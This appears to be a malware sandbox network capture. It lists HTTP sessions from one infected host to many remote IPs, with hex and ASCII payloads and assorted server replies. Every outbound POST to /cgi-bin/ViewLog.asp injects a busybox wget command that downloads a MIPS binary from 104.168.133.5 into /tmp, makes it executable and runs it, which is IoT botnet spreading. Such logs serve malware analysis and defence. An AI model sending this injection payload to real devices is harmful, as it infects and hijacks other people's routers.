Nov 23, 2023 05:18:08.593491077 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.816360950 CET	464	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.10.2 Date: Thu, 23 Nov 2023 04:18:08 GMT Content-Type: text/html Content-Length: 195 Connection: keep-alive WWW-Authenticate: Basic realm="closed area" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	57904	94.122.199.209	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.593539000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	39126	31.43.111.196	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.677614927 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.900861025 CET	395	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 23 Nov 2023 04:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	59130	62.29.11.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.705236912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	53606	85.25.137.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.724169016 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.132661104 CET	1340	IN	HTTP/1.1 404 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=F1B206B5180A543C184B6568C0B92CCA; Path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate Pragma: no-cache Set-Cookie: COOKIE_SUPPORT=true; Max-Age=31536000; Expires=Fri, 22-Nov-2024 04:18:07 GMT; Path=/; HttpOnly Set-Cookie: GUEST_LANGUAGE_ID=en_US; Max-Age=31536000; Expires=Fri, 22-Nov-2024 04:18:07 GMT; Path=/; HttpOnly Liferay-Portal: Liferay Digital Experience Platform Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Thu, 23 Nov 2023 04:18:07 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 64 64 34 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 09 0a 09 09 0a 09 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 2e 70 72 69 76 61 74 65 2d 70 61 67 65 20 2e 64 65 73 68 62 6f 72 64 53 69 64 65 62 61 72 20 2e 73 69 64 65 62 61 72 4c 69 73 74 20 2e 73 75 62 6d 65 6e 75 44 72 6f 70 64 6f 77 6e 5b 74 69 74 6c 65 3d 22 44 61 73 68 62 6f 61 72 64 22 5d 20 7b 0a 09 09 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 09 7d 0a 09 3c 2f 73 74 79 6c 65 3e 0a 09 0a 09 0a 09 0a 0a 0a 0a 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6c 74 72 22 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 48 6f 6d 65 20 2d 20 4e 69 72 62 68 61 79 61 20 53 61 66 65 20 43 69 74 79 3c 2f 74 69 74 6c 65 3e 0a 09 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 2f 3e 0a 09 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 2f 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f Data Ascii: dd4<!DOCTYPE html><style>.private-page .deshbordSidebar .sidebarList .submenuDropdown[title="Dashboard"] {display: block;}</style><html class="ltr" dir="ltr" lang="en-US"><head><title>Home - Nirbhaya Safe City</title><meta content="initial-scale=1.0, width=device-width" name="viewport" /><meta content="text/html; charset=UTF-8" http-equiv="content-type" /><meta content="noindex" name="ro

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	46474	31.134.31.10	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.813291073 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.958172083 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.302180052 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.182204962 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:19.558166981 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	49690	94.131.59.116	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.945795059 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.510174036 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.615773916 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:18:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3572 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	49646	94.131.59.116	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.953427076 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.060059071 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:18:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3572 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 